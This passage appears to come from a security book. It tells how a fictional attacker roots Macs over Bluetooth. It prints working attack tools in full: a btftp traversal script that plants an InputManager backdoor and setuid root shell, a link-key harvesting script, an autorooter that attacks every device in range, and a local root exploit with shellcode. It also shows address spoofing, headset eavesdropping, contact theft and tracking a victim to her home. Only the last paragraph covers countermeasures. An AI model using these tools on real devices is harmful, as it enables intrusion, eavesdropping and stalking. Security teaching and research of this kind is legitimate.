chmod 4755 /users/bluetooth/shX
launchctl reloadttys
rm -rf /tmp/pwn

All of Jake's ducks seemed to be in a row, so he decided to give his attack a dry run. At this point, the list of commands he was using seemed to be fairly static, so he made the list into a simple perl script that handled everything:

#!/usr/bin/perl
# Taylored for 10.4
# Expects to start its execution in /Users/<user>/public


open(PIPE, "|/usr/bin/btftp $ARGV[0]");
print PIPE "cd ../Library\n";
print PIPE "mkdir InputManagers\n";
print PIPE "cd InputManagers\n";
print PIPE "mkdir pwned\n";
print PIPE "cd pwned\n";
print PIPE "put Info\n";
print PIPE "mkdir InqTanaHandler.bundle\n";
print PIPE "cd InqTanaHandler.bundle\n";
print PIPE "mkdir Contents\n";
print PIPE "cd Contents\n";
print PIPE "mkdir MacOS\n";
print PIPE "cd MacOS\n";

print PIPE "put InqTanaHandler\n";
print PIPE "cd ../../../../../../../../tmp\n";
print PIPE "put FailureToLaunch-ppc.pl\n";
print PIPE "put pwn\n";
print PIPE "put sh\n";
print PIPE "put shX\n";
print PIPE "put mgetty\n";
print PIPE "put login.config\n";
print PIPE "put mgetty.config\n";
print PIPE "put ttys\n";
print PIPE "ls\n";
print PIPE "quit\n";
close(PIPE);
open(PIPE, "|/usr/bin/btftp $ARGV[0]");
print PIPE "quit\n";
close(PIPE);

With his new script, Jake needed to supply only a Bluetooth address and the rest of the work was done for him:

jakez0r:~/GenerationTwo-10.4# ./10.4-plant_input_manager.pl 00:14:51:69:04:20 15
Connected to 00:14:51:69:04:20.
ftp> ftp> ftp> ftp> ftp> ftp> 458 bytes sent
ftp> ftp> ftp> ftp> ftp> ftp> ftp> 173324 bytes sent
ftp> ftp> 3192 bytes sent
ftp> 1464 bytes sent
ftp> 1067 bytes sent
ftp> 17000 bytes sent
ftp> 17000 bytes sent
ftp> 90812 bytes sent
ftp> 2743 bytes sent
ftp> 1658 bytes sent
ftp> 2342 bytes sent
ftp> drwxr-xr-x            Aug 16 01:54 ..
-rw-r--r--       3192 Aug 16 01:54 FailureToLaunch-ppc.pl
-rw-r--r--        1464 Aug 16 01:54 KeyHarvest.pl
-rw-r--r--       2743 Aug 16 01:54 login.config
-rw-r--r--      90812 Aug 16 01:54 mgetty
-rw-r--r--        1658 Aug 16 01:54 mgetty.config
-rw-r--r--         12 Aug 16 01:54 objc_sharing_ppc_4294967294
-rw-r--r--         36 Aug 16 01:54 objc_sharing_ppc_501
-rw-r--r--         24 Aug 16 01:54 objc_sharing_ppc_92
-rw-r--r--        1067 Aug 16 01:54 pwn
-rw-r--r--      17000 Aug 16 01:54 sh
-rw-r--r--       17000 Aug 16 01:54 shX
-rw-r--r--       2342 Aug 16 01:54 ttys
ftp> Disconnected.
Connected to 00:14:51:69:04:20.
ftp> Disconnected.

After the script ran, Jake attempted to connect to the backdoor he had opened on the Bluetooth-PDA-Sync port. With a simple rfcomm connection, he had remote access to his new eMac via a Bluetooth connection:

jakez0r:~/GenerationTwo# rfcomm connect 1 00:14:51:69:04:20 3
Connected /dev/rfcomm1 to 00:14:51:69:04:20 on channel 3
Press CTRL-C for hangup

Once he opened minicom against /dev/rfcomm1, a nice login prompt revealed itself. If the exploit worked properly, Jake could log in as pwned mghee aka bluetooth.

jakez0r:~/GenerationTwo# minicom
Welcome to minicom 2.1



OPTIONS: History Buffer, F-key Macros, Search History Buffer, I18n
Compiled on Nov  4 2005, 18:10:30.


Press CTRL-A Z for help on special keys


Jake-TheSnakes-Computer.local!login: bluetooth
Password:
Welcome to Darwin!
Jake-TheSnakes-Computer:~ bluetooth$ id
uid=666(bluetooth) gid=666 groups=666
k-fs-Computer:~ bluetooth$ ls
shX
Jake-TheSnakes-Computer:~ bluetooth$ ls -al shX
-rwsr-xr-x   1 root  666  17000 Aug 16 01:54 shX
Jake-TheSnakes-Computer:~ bluetooth$ ./shX
[Jake-TheSnakes-Computer:~] bluetoot# id
uid=0(root) gid=0(wheel) groups=0(wheel)

Jake left a setuid binary in the home directory of pwned mghee as an easy means to get root. There was no sense in running the Failure to Launch exploit again and again. If Jake could get root this easily on Monica's computer, access to her phone and headset would quickly follow. Jake decided he would wrap things up and get some sleep for the night, and in the morning, he would prepare for his much-anticipated joyride on Monica's computer.

The next afternoon Jake sat and waited for Monica, and as usual she was on time. He snickered to himself about the accuracy of his first attempt at geocoding Bluetooth activity. If half of the owners of the devices Jake had seen were as predictable as Monica, quite a few them could easily have their movements tracked and their devices subsequently compromised.

Jake decided he would be a little low-key again and get things done from a distance. He waited until he saw Monica go into the café, and then he aimed the Yagi in her general direction and fed her Bluetooth address to his script. Just as it had in Jake's test run, the script spit information about the files being planted on Monica's laptop. Jake was excited as he watched the various messages scroll by. Because of the distance, there was quite a bit more latency than usual; however, everything seemed to be going great.

After his script stopped running, Jake realized it was time for the moment of truth had his script worked? The only way for him to check was to fire up the initial rfcomm connection that enabled access to the login prompt. As he had hoped, the getty did fire and a happy login prompt awaited him:

Monica-Smiths-Computer.local!login: bluetooth
Password:
Welcome to Darwin!
Monica-Smiths-Computer:~ bluetooth$
Monica-Smiths-Computer:~ bluetooth$ ./shX
[Monica-Smiths-Computer:~] bluetoot# id
uid=0(root) gid=0(wheel) groups=0(wheel)
[Monica-Smiths-Computer:~] bluetoot#

Jake's shell access was super slow because of the distance at which he was performing the attack. With his mind racing, all he really could think of to do was to grab the linkkeys from the system. He knew that the blued.plist file was a goldmine as far as the keys were concerned:

 [Monica-Smiths-Computer:~] bluetoot# cd /private/var/root/Library/Preferences/
[Monica-Smiths-Computer:root/Library/Preferences] bluetoot#


[Monica-Smiths-Computer:root/Library/Preferences] bluetoot# ls -al blued.plist
-rw-------   1 root  wheel  8279 Aug 26 17:18 blued.plist

Jake had no clue what format the file was in, so he decided to do a quick strings on it to see the strings in a file. Pretty quickly, he knew that it was not just a standard text file:

[Monica-Smiths-Computer:root/Library/Preferences] bluetoot# strings blued.plist |
head -n 13


bplist00
8cdh)yXLinkKeys_
PersistentPortsServices[DeviceCacheZHIDDevices_
!DaemonControllersConfigurationKey_
PersistentPorts_
BluetoothVersionNumber]PairedDevices
00-16-75-6F-99-5C_
00-0B-2E-72-EF-9D
m"E8lD
"incoming port - Bluetooth-PDA-Sync

Remembering that plist files had some default utilities, Jake quickly read the man page on plutil. He decided to try to convert the file from binary to XML:

[Monica-Smiths-Computer:root/Library/Preferences] bluetoot#  cp blued.plist /tmp/
[Monica-Smiths-Computer:root/Library/Preferences] bluetoot#  cd /tmp/
[Monica-Smiths-Computer:/tmp] bluetoot# plutil -convert xml1 blued.plist

Upon inspecting the blued.plist file, Jake found the following XML entry. It looked like he would need to do some base64 decoding if he wanted get anywhere with Monica's phone or headset. Not remembering off the top of his head the perl modules to do base64 decoding, he thought there must be a better way.

<key>HIDDevices</key>
   <array>
            <string>00-16-75-6F-99-5C</string>
            <string>00-0B-2E-72-EF-9D</string>
   </array>
   <key>LinkKeys</key>
   <dict>
           <key>00-11-95-4f-60-1f</key>
           <dict>
                    <key>00-16-75-6F-99-5C</key>
                    <data>
                    6p6FaENTgCYZ/oZurswDyg==
                    </data>
                    <key>00-0B-2E-72-EF-9D</key>
                    <data>
                    rz5Rlf5dGwhtIkU4bEQZ6g==
                    </data>
           </dict>
</dict>

Just before Jake gave up hope and started to head home to decode the base64 bits of the blued.plist file, he remembered the defaults command. If he remembered correctly, the defaults command had the ability to read plist files. Once he tried the command, Jake could not believe his eyes. The defaults program had done exactly what he had wanted! The linkkey data was immediately dumped to the screen:

[Monica-Smiths-Computer:/tmp] bluetoot# defaults read /tmp/blued LinkKeys
{
    "00-11-95-4f-60-1f" = {
    "00-16-75-6F-99-5C" = <ea9e8568 43538026 19fe866e aecc03ca >;
    "00-0B-2E-72-EF-9D" = <af3e5195 fe5d1b08 6d224538 6c4419ea >;
    };
}

For some reason, Jake decided it would also be a good idea to tar up Monica's Apple address book so he could glance at it later. He could simply use the file transfer service to pull it down to his laptop:

[Monica-Smiths-Computer:/tmp] bluetoot#
[Monica-Smiths-Computer:/tmp] bluetoot# tar cvf /tmp/addys.tar /Users/
monica/Library/Application\ Support/AddressBook/
tar: Removing leading '/' from member names
/Users/monica/Library/Application Support/AddressBook/
/Users/monica/Library/Application Support/AddressBook/.database.lockN
/Users/monica/Library/Application Support/
AddressBook/.skIndex.ABPerson.lockN
/Users/monica/Library/Application Support/
AddressBook/.skIndex.ABSubscribedPerson.lockN/Users/monica/Library/
Application Support/AddressBook/ABPerson.skIndex
/Users/monica/Library/Application Support/
AddressBook/ABPerson.skIndexInverted
/Users/monica/Library/Application Support/
AddressBook/ABSubscribedPerson.skIndexInverted
/Users/monica/Library/Application Support/AddressBook/AddressBook.data
/Users/monica/Library/Application Support/
AddressBook/AddressBook.data.beforesave
/Users/monica/Library/Application Support/
AddressBook/AddressBook.data.previous
/Users/monica/Library/Application Support/AddressBook/Images/
/Users/monica/Library/Application Support/AddressBook/Images/

At the peak of his excitement, literally just after he had transferred the address book's contents, Jake realized that his connection had frozen and that Monica had already began to exit the café. Having snagged the linkkeys to her phone and headset as well as her contacts, Jake decided to return home once again and begin researching what needed to be done next.

Spoofing Bluetooth Devices

Jake knew that once a linkkey was stolen from a device, it could easily be spoofed and its linkkeys could, in turn, be used to hijack other devices. Jake had read a paper on using stolen linkkeys so he knew that most devices have little tolerance for a bad linkkey. If a bad key is presented to some devices, pairing data is thrown out completely. Jake decided it would be wise for him to do a little more testing and research. If he was not careful, Monica might be tipped off that something odd was going on.

Once Jake got home, he paired up his phone and headset with his Mac. As a way to validate the linkkey data that he scored from Monica, he decided he would also pair up with his Linux laptop.

After pairing with his laptop, he decided to compare the data contained in / var/ lib/Bluetooth on his Linux machine with the output from the defaults command he had run against his eMac:

root@jakez0r:/home/kfinisterre# cd /var/lib/bluetooth/
root@jakez0r:/var/lib/bluetooth# cd 00\:10\:60\:B2\:5F\:82/
root@jakez0r:/var/lib/bluetooth/00:10:60:B2:5F:82# cat linkkeys
00:14:51:69:04:20 BCBF2867F36EFC6F6738F4C0B5F3B26C 0


[Jake-TheSnakes-Computer:/tmp] bluetoot# defaults read /tmp/blued LinkKeys
{
    "00-14-51-69-04-20" = {
    "00-0a-95-11-dd-ad" = <c9ea9bea 686ac13e 22e7a889 2f1fd941 >;
    "00-0a-95-46-8c-a9" = <256ce4d2 8b6a7a52 7b5de21f 5bb981a1 >;
    "00-10-60-b2-5f-82" = <6cb2f3b5 c0f43867 6ffc6ef3 6728bfbc >;
    };
}

Jake quickly realized that the format in which the linkkeys were stored on both systems was not compatible. If he wished to make use of the linkkeys with bluez, he would first have to convert them to a different format. In essence, he needed to reverse the linkkey string and then swap every character with the one prior to it. If Jake were given the string ABCDEFGH, he would have to convert it to GHEFCDAB before he could utilize it. After a few hours of Google searches, Jake had once again cobbled together a small script to help him with his attacks against Monica's devices:

#!/usr/bin/perl
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com)
#
# You must Obtain root access first
# Then you can borrow linkkeys from blued.plist on OSX 10.x
#
# This code rearranges the data so it can be used in
 /var/lib/bluetooth/<bdaddr>/linkkeys # on a linux box.
#


# k-fs-computer-2:~/Desktop kf$ sudo defaults read blued LinkKeys | ./KeyHarvest.pl
# Password:
# Harvested Keys for: "00:14:51:5A:3D:20"
# 00:08:1B:81:51:A5 - 1F469344010B812BDBFD5DCBDE142467
# 00:10:60:29:4F:F1 - DEE387B50C4304546767103A71772D3B
# FF:FF:FF:FF:FF:FF - D60D56BE72F437B77F66509852001718
#

# Yeah that's right... I straight up used someone else's code for this s### too...
# http://www.troubleshooters.com/codecorn/littperl/perlfile.htm
# http://www.troubleshooters.com/codecorn/littperl/perlreg.htm
#
while(<STDIN>)
{
     my($line) = $_;
     chomp($line);


      $line =~ tr/[a-z]/[A-Z]/;


      if($line =~ m/\" = {$/ )
      {
            $line =~ m/(".*?")/;
            $targetbdaddr = $1;
           $targetbdaddr =~ tr/-/:/;
            $bdaddr =~ s/"//g;
           print "Harvested Keys for: $targetbdaddr\n";
      }
      if($line =~ m/>;/ )
      {
            $line =~ m/(<.*?>)/;
           $linkkey = $1;
            $linkkey =~ s/>//g;
            $linkkey =~ s/ //g;
           $len = length $linkkey;
            $revkey = "";
           for ($x=0;$x<$len;$x=$x+2)
            {
                 $revkey = substr($linkkey, $x, 2) . $revkey;
            }


            $line =~ m/(".*?")/;
            $bdaddr = $1;
            $bdaddr =~ tr/-/:/;
        $bdaddr =~ s/"//g;
           print "$bdaddr - $revkey\n";
      }


}

With this code, Jake could feed the output of the defaults command straight to his script. The output would give him all he needed to make a spoofed connection to Monica's other devices. The bluez stack wanted the linkkeys to be in a specific format, and this tool satisfied that need.

Jake decided to look at Monica's address book to see if it was of any use. He unpacked her AddressBook files onto his eMac. Upon opening them, he found that she had, unfortunately, not made use of the tool at all. Lucky for Jake, OS X stores the computer's owner information as an entry in the address book by default.

Image from book

The information contained in the Apple AddressBook entry was more than enough to locate her home. Jake decided that his next visit with Monica would be there rather than at the café. After a short drive, he found himself in a stereotypical apartment complex. After driving past the pool, he spotted what he thought was Monica's SUV.

The complex seemed low-key enough that Jake thought he could get away with sitting at the recreation area with the antenna aimed at Monica's apartment. He had no reason to connect to Monica's laptop as he had already gained the access needed. His target was now Monica's phone or her headset. At this point, he had not tried to connect to either device. He would ping the devices to see if they were turned on before he did anything further.

When he pinged the headset, it did not seem to be active:

root@jakez0r:/tmp/GenerationTwo-10.4# l2ping 00:0B:2E:72:EF:9D
Can't connect: Host is down

He simply moved on and attempted to ping the cell phone, which happily responded:

root@jakez0r:/tmp/GenerationTwo-10.4# l2ping 00:16:75:6F:99:5C
Ping: 00:16:75:6F:99:5C from 11:22:33:44:55:66 (data size 44) ...
44 bytes from 00:16:75:6F:99:5C id 0 time 34.74ms
44 bytes from 00:16:75:6F:99:5C id 1 time 31.89ms
44 bytes from 00:16:75:6F:99:5C id 2 time 38.83ms
44 bytes from 00:16:75:6F:99:5C id 3 time 29.62ms
4 sent, 4 received, 0% loss

Jake figured he would attempt to use the stolen linkkey for the phone. First, he needed to set up his laptop to spoof Monica's iBook. Then, he needed to change his Bluetooth address to match hers:

root@jakez0r:/var/lib/bluetooth# bdaddr -r 00:11:95:4F:60:1F
Manufacturer:   Cambridge Silicon Radio (10)

Device address: 11:22:33:44:55:66
New BD address: 00:11:95:4F:60:1F


Address changed - Device reset successfully

Since Jake knew that Monica had her iBook with her, he did not need to do an hcitool scan, but as it was an easy way to populate /var/lib/bluetooth with the directory for the current Bluetooth device, he performed the scan anyway:

root@tjakez0r:/var/lib/bluetooth# hcitool scan
Scanning ...
   00:11:95:4F:60:1F       Monica Smith...s iBook

With the proper directory structure laid out, Jake needed to create a linkkeys file in which to stash his stolen keys. Once the linkkeys were in place, he would be all set to connect to Monica's phone:

root@jakez0r:/var/lib/bluetooth# ls
00:11:95:4F:60:1F  11:22:33:44:55:66
root@jakez0r:/var/lib/bluetooth# cd 00\:11\:95\:4F\:60\:1F/
root@jakez0r:/var/lib/bluetooth/00:11:95:4F:60:1F# ls
names
root@jakez0r:/var/lib/bluetooth/00:11:95:4F:60:1F# cat > linkkeys
00:16:75:6F:99:5C 966C10E02441AF955ED0BB82D3E5DCAC 2
00:0B:2E:72:EF:9D FD3578997DB0439C25360F7B64CAA8E9 2

Jake knew if anything was incorrect the pairing between Monica's laptop and her phone would be broken. With his fingers crossed, he tried to connect to Monica's phone.

Since he had never examined her phone, Jake decided to scan it for services before he attacked it:

root@jakez0r:/var/lib/bluetooth/00:11:95:4F:60:1F# sdptool browse 00:16:75:6F:99:5C
Browsing 00:16:75:6F:99:5C ...
Service RecHandle: 0x0
Service Class ID List:
  "SDP Server" (0x1000)
Protocol Descriptor List:
  "L2CAP" (0x0100)
  "SDP" (0x0001)
Profile Descriptor List:
  "SDP Server" (0x1000)
    Version: 0x0100


Service Name: Dialup Networking Gateway
Service Description: Dialup Networking Gateway
Service Provider: T-Mobile
Service RecHandle: 0x10001

Service Class ID List:
  "Dialup Networking" (0x1103)
Protocol Descriptor List:
  "L2CAP" (0x0100)
  "RFCOMM" (0x0003)
Channel: 1
Language Base Attr List:
  code_ISO639: 0x656e
  encoding:    0x6a
  base_offset: 0x100
  code_ISO639: 0x6672
  encoding:    0x6a
  base_offset: 0xc800
  code_ISO639: 0x6573
  encoding:    0x6a
  base_offset: 0xc803
  code_ISO639: 0x7074
  encoding:    0x6a
  base_offset: 0xc806
Profile Descriptor List:
  "Dialup Networking" (0x1103)
    Version: 0x0100


Service Name: Voice Gateway
Service Description: Headset Audio Gateway
Service Provider: T-Mobile
Service RecHandle: 0x10003
Service Class ID List:
  "Headset Audio Gateway" (0x1112)
  "Generic Audio" (0x1203)
Protocol Descriptor List:
  "L2CAP" (0x0100)
  "RFCOMM" (0x0003)
Channel: 3
Language Base Attr List:
  code_ISO639: 0x656e
  encoding:    0x6a
  base_offset: 0x100
  code_ISO639: 0x6672
  encoding:    0x6a
  base_offset: 0xc800
  code_ISO639: 0x6573
  encoding:    0x6a
  base_offset: 0xc803
  code_ISO639: 0x7074
  encoding:    0x6a
  base_offset: 0xc806
Profile Descriptor List:
  "Headset" (0x1108)
    Version: 0x0100


Service Name: Handsfree Voice Gateway
Service Description: Handsfree Voice Gateway
Service Provider: T-Mobile
Service RecHandle: 0x10007

Service Class ID List:
  "Handfree Audio Gateway" (0x111f)
  "Generic Audio" (0x1203)
Protocol Descriptor List:
  "L2CAP" (0x0100)
  "RFCOMM" (0x0003)
Channel: 7
Language Base Attr List:
  code_ISO639: 0x656e
  encoding:    0x6a
  base_offset: 0x100
  code_ISO639: 0x6672
  encoding:    0x6a
  base_offset: 0xc800
  code_ISO639: 0x6573
  encoding:    0x6a
  base_offset: 0xc803
  code_ISO639: 0x7074
  encoding:    0x6a
  base_offset: 0xc806
Profile Descriptor List:
  "Handsfree" (0x111e)
    Version: 0x0101


Service Name: OBEX Object Push
Service Description: OBEX Object Push
Service Provider: T-Mobile
Service RecHandle: 0x10008
Service Class ID List:
  "OBEX Object Push" (0x1105)
Protocol Descriptor List:
  "L2CAP" (0x0100)
  "RFCOMM" (0x0003)
Channel: 8
  "OBEX" (0x0008)
Language Base Attr List:
  code_ISO639: 0x656e
  encoding:    0x6a
  base_offset: 0x100
  code_ISO639: 0x6672
  encoding:    0x6a
  base_offset: 0xc800
  code_ISO639: 0x6573
  encoding:    0x6a
  base_offset: 0xc803
  code_ISO639: 0x7074
  encoding:    0x6a
  base_offset: 0xc806
Profile Descriptor List:
  "OBEX Object Push" (0x1105)
    Version: 0x0100


Service Name: OBEX File Transfer
Service Description: OBEX File Transfer
Service Provider: T-Mobile

Service RecHandle: 0x10009
Service Class ID List:
  "OBEX File Transfer" (0x1106)
Protocol Descriptor List:
  "L2CAP" (0x0100)
  "RFCOMM" (0x0003)
    Channel: 9
  "OBEX" (0x0008)
Language Base Attr List:
  code_ISO639: 0x656e
  encoding:    0x6a
  base_offset: 0x100
  code_ISO639: 0x6672
  encoding:    0x6a
  base_offset: 0xc800
  code_ISO639: 0x6573
  encoding:    0x6a
  base_offset: 0xc803
  code_ISO639: 0x7074
  encoding:    0x6a
  base_offset: 0xc806
Profile Descriptor List:
  "OBEX File Transfer" (0x1106)
    Version: 0x0100


Service Name: Image Push
Service Description: Image Push
Service Provider: T-Mobile
Service RecHandle: 0x1000a
Service Class ID List:
  "Imaging Responder" (0x111b)
Protocol Descriptor List:
  "L2CAP" (0x0100)
  "RFCOMM" (0x0003)
    Channel: 10
  "OBEX" (0x0008)
Language Base Attr List:
  code_ISO639: 0x656e
  encoding:    0x6a
  base_offset: 0x100
  code_ISO639: 0x6672
  encoding:    0x6a
  base_offset: 0xc800
  code_ISO639: 0x6573
  encoding:    0x6a
  base_offset: 0xc803
  code_ISO639: 0x7074
  encoding:    0x6a
  base_offset: 0xc806
Profile Descriptor List:
  "Imaging" (0x111a)
    Version: 0x0100

The Dialup Networking Profile seemed like a good profile for Jake to connect to. He knew that if he was able to connect, he could dump out quite a bit of information about her phone. If he chose to, he could even dump all of the personal contacts from her phone as well.

root@jakez0r:/var/lib/bluetooth/00:11:95:4F:60:1F# rfcomm connect
 0 00:16:75:6F:99:5C 1
Connected /dev/rfcomm0 to 00:16:75:6F:99:5C on channel 1
Press CTRL-C for hangup

Jake found himself thrilled again as the rfcomm connection to Monica's phone was successful. He quickly typed in all the at commands he could think of to get information about her phone:

root@jakez0r:/var/lib/bluetooth/00:11:95:4F:60:1F# minicom



Welcome to minicom 2.1


OPTIONS: History Buffer, F-key Macros, Search History Buffer, I18n
Compiled on Nov  5 2005, 15:45:44.


Press CTRL-A Z for help on special keys


AT S7=45 S0=0 L1 V1 X4 &c1 E1 Q0
OK
at+gmi
+GMI: "Motorola CE, Copyright 2000"


OK
at+gmm
+GMM: "GSM900","GSM1800","GSM1900","GSM850","MODEL=PEBL U6"


OK
at+gmr
+GMR: "R478_G_08.83.76R_A"


OK

Almost instantly, Jake was envious of Monica's PEBL from Motorola. If her firmware information was correct, she had a pretty sweet phone. He could not think of anything else to do, except perhaps read some of her phone contacts. With a simple at command, he pulled the name of a random contact from her phone:

at+cpbr=69
+CPBR: 69,"15135551212",129,"Josh Valentine"


OK

He thought that he could perhaps pull a few images off of her phone through the Bluetooth File Transfer Profile, but he had been sitting out in the open with his laptop for a long time and was beginning to get paranoid. He decided to try once more to connect to her headset and then it was time to go.

Luckily, this time the headset responded:

root@jakez0r:/var/lib/bluetooth/00:11:95:4F:60:1F# l2ping 00:0B:2E:72:EF:9D
Ping: 00:0B:2E:72:EF:9D from 11:22:33:44:55:66 (data size 44) ...
4 bytes from 00:0B:2E:72:EF:9D id 0 time 46.07ms
4 bytes from 00:0B:2E:72:EF:9D id 1 time 28.73ms
4 bytes from 00:0B:2E:72:EF:9D id 2 time 17.69ms
4 bytes from 00:0B:2E:72:EF:9D id 3 time 28.70ms
4 bytes from 00:0B:2E:72:EF:9D id 4 time 14.55ms
5 sent, 5 received, 0% loss

Jake had a copy of carwhisperer, so he decided to whisper the headset for a few minutes and then head out:

root@jakez0r:/home/jake/carwhisperer-0.1# ./carwhisperer 0 eargasm.raw
 /tmp/out.raw 00:0B:2E:72:EF:9D
Voice setting: 0x0060
RFCOMM channel connected
SCO audio channel connected (handle 45, mtu 64)

Quite satisfied, Jake left the scene and headed for home. During the car ride, he could not help but wonder what he had recorded from the mic of the headset. He typed at the keyboard one-handed as he drove. Once he had pecked out the command to play the raw file that carwhisperer had captured, he listened. For a long time, all he heard was static and the occasional sound of what appeared to be the day's news in the background.

Eventually, Jake began to hear a female voice on the recording it sounded as if she were trying to explain something to someone else in the room. The other person was unfortunately too far from the microphone for Jake to pick up. As he listened though, he almost freaked out; he realized he had never deleted the Bluetooth user from Monica's laptop.

Monica: something weird is going on with my laptop. I am not sure, but I think it has something to do with the Bluetooth configuration.

Unknown: (unintelligible) Monica: Well, this morning I logged out because I wanted to make sure a misbehaving program was terminated, and at the login screen there was a new user that I had never seen before! It said something like pwned mghee. As soon as I clicked the user, it logged in immediately. There was a folder that popped up named Bluetooth.

Unknown: (unintelligible)

Monica: I am not sure, but I think I got hacked by some kind of Bluetooth worm or something

Jake simply ended the playback; he really did not want to know what else Monica had said. He was shocked at his own stupidity and realized that if he made any more visits to Monica's house or the café, he might end up getting in trouble. Leaving behind the hacked account on her machine was a big mistake, but it was pretty much water under the bridge. Jake actually did accomplish what he had set out to do originally; however, it was certainly not in a graceful fashion.

Having scared himself, Jake took a break from Blue-driving for a while, primarily because of paranoia about being spotted with a huge white Yagi attached to his front seat. At this point, even putting the smaller backfire antenna in the backseat made Jake nervous. He had not entirely learned his lesson though, because a few weeks later he was more or less back at it.

Autorooting Bluetooth

Having popped his first Mac, Jake really wanted to have a go at a second one. With his desire increasing, he thought that it would not be too difficult to turn the script that he used to compromise Monica's Mac into a Bluetooth-based autorooter.

A simple while loop that passed the output from hcitool through awk and grep was enough for Jake to root pretty much any Macs that passed by. For the time being, the code was not very selective as to whom it would send its binaries to, but Jake was not at all concerned about it:

#!/bin/bash
hcitool scan  | awk '{print $1}' | grep -v Scanning  |  while read line; do
 echo $line; ./10.4-plant_input_manager.pl $line; done

At one point, Jake ran across an entire home of 10.3.9-based computers, and he could not figure out why his tool would not root them. For some reason, the Doe family's 10.3 machines seemed to be a bit different from Monica's 10.4 laptop.

root@jakez0r:/var/lib/bluetooth/00:11:95:4F:60:1F# hcitool scan
Scanning ...
   00:14:51:D4:A5:AF           John Doe...s Computer
   00:14:51:D6:06:BB           Jane Doe...s Computer
   00:14:51:5A:D6:58           Jill Doe...s Computer
   00:14:51:5A:AF:CE           Jeff Doe...s Computer

Eventually, Jake installed 10.3.9 on his eMac to figure out what the deal was. It turned out that the Bluetooth configuration between 10.3.9 and 10.4 had changed enough that he couldn't use the script he used previously. It also seemed that in 10.3 Apple had not yet introduced launchd so he would need a new way to take root.

Jake really wanted an exploit for both 10.3 and 10.4, so he researched a new local exploit to use with the retro machines. There were a few exploits that required user interaction, but he dismissed those quickly and decided to write his own. He figured it would be easier to create his own version of the CF_CHARSET_PATH exploit (CAN-2005-0716). Unlike vade9's version, his did not require that the user press ENTER before getting a shell prompt. When scripting an exploit, the ability to run without user input can be key.

#!/usr/bin/perl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com)
#
# Variant of CF_CHARSET_PATH a local root exploit by v9_at_fakehalo.us
#
# I was in the mood for some retro s### this morning, and I need root
on some old ass G3 # iMacs for a demo.
#
# I got sick of pressing enter on v9's exploit. It gets in the way when
scripting attacks.
#
# Jill-Does-Computer:/tmp jilldoe$ ./authopen-CF_CHARSET.pl 0
# *** Target: 10.3.7 Build 7T65 on PowerPC, Padding: 1
# sh-2.05b# id
# uid=502(jilldoe) euid=0(root) gid=502(jilldoe) groups=502(jilldoe),
79(appserverusr), 80(admin), 81(appserveradm)
#
#


foreach $key (keys %ENV) {


    delete $ENV{$key};


}


#// ppc execve() code by b-r00t + nemo to add seteuid(0)
$sc =
"\x7c\x63\x1a\x79" .
"\x40\x82\xff\xfd" .
"\x39\x40\x01\xc3" .
"\x38\x0a\xfe\xf4" .
"\x44\xff\xff\x02" .
"\x39\x40\x01\x23" .
"\x38\x0a\xfe\xf4" .
"\x44\xff\xff\x02" .
"\x60\x60\x60\x60" .

"\x7c\xa5\x2a\x79" .
"\x40\x82\xff\xfd" .
"\x7d\x68\x02\xa6" .
"\x3b\xeb\x01\x70" .
"\x39\x40\x01\x70\x39\x1f\xfe\xcf" .
"\x7c\xa8\x29\xae\x38\x7f\xfe\xc8" .
"\x90\x61\xff\xf8\x90\xa1\xff\xfc" .
"\x38\x81\xff\xf8\x38\x0a\xfe\xcb" .
"\x44\xff\xff\x02\x7c\xa3\x2b\x78" .
"\x38\x0a\xfe\x91\x44\xff\xff\x02" .
"\x2f\x74\x6d\x70\x2f\x73\x68\x58";


$tgts{"0"} = "10.3.7 Build 7T65 on PowerPC:1";
$tgts{"1"} = "10.3.7 debug 0x41424344:0";


$b = 1;



$ENV{"CF_CHARSET_PATH"} = "A" x 1048 . pack('l', 0xbffffef6) x 2;


$ENV{"APPL"} = "." x $b . "iiii" x 40 . $sc ;


system("/usr/libexec/authopen /etc/master.passwd");

Slight differences in 10.3 required changes to Jake's binary planting tool as well. The tool needed to know the currently logged-in user's name before it could exploit the directory transversal issue. On Panther, the default Bluetooth drop directory was set to /Users/Shared/ so Jake's old code would wind up placing his InputManager in a directory that would render it completely useless.

The small code change that he needed to implement relied on OS X's default behavior of naming the computer after the default user. In most cases, a Mac has only one user, so the computer name is likely to match that of the person currently logged in. Jake wrote a very small bit of regex that turned the device names provided by hcitool into a path that could be used in the exploit:

#!/usr/bin/perl
# Taylored for 10.3
# Expects to start its execution in /Users/Shared
# You must know the username of the currently logged in user
# the default user is most likely included in the machine's name.


open(PIPE, "|/usr/bin/btftp $ARGV[0]");
$homedir = $ARGV[1];
$homedir =~ tr/[A-Z]/[a-z]/;

$homedir =~ s/...s//g;
print "using $homedir\n";


print PIPE "cd ../$homedir/Library\n";
print PIPE "mkdir InputManagers\n";
print PIPE "cd InputManagers\n";
print PIPE "mkdir pwned\n";
print PIPE "cd pwned\n";
print PIPE "put Info\n";
print PIPE "mkdir InqTanaHandler.bundle\n";
print PIPE "cd InqTanaHandler.bundle\n";
print PIPE "mkdir Contents\n";
print PIPE "cd Contents\n";
print PIPE "mkdir MacOS\n";
print PIPE "cd MacOS\n";
print PIPE "put InqTanaHandler\n";
print PIPE "cd ../../../../../../../../../tmp\n";
print PIPE "put authopen-CF_CHARSET.pl\n";
print PIPE "put KeyHarvest.pl\n";
print PIPE "put pwn\n";
print PIPE "put sh\n";
print PIPE "put shX\n";
print PIPE "put mgetty\n";
print PIPE "put login.config\n";
print PIPE "put mgetty.config\n";
print PIPE "put ttys\n";
print PIPE "ls\n";
print PIPE "quit\n";
close(PIPE);
sleep 5;
open(PIPE, "|/usr/bin/btftp $ARGV[0]");
print PIPE "quit\n";
close(PIPE);
print "go do something for a minute because the system will reboot\n";

On 10.4, Jake's exploit had the luxury of using launchctl reloadttys to apply the modified ttys file that enabled the Bluetooth login prompt. On 10.3, there was no slick way to reload the /etc/ttys so Jake also had to change the pwn script to reboot the machine once it had finished running. It was messy, but it would work in most cases.

Jake wound up spending the next few months driving around town rooting pretty much any unpatched Panther- or Tiger-based Macs he could find with his autorooter. He found that simply letting his script loop and root was quite entertaining. Luckily for him, Monica never caught on to what really happened to her laptop. If he continued to be careless with his newfound friends, however, his luck might change.

Countermeasures to Bluetooth Attacks

Having seen the damage that Jake caused by compromising Monica's Bluetooth-enabled laptop, hopefully you will have a better handle on the potential impact a compromised device might have on your life. Staying aware and up-to-date with regard to available software and firmware for your Bluetooth-enabled device can be key to hindering attacks upon you.

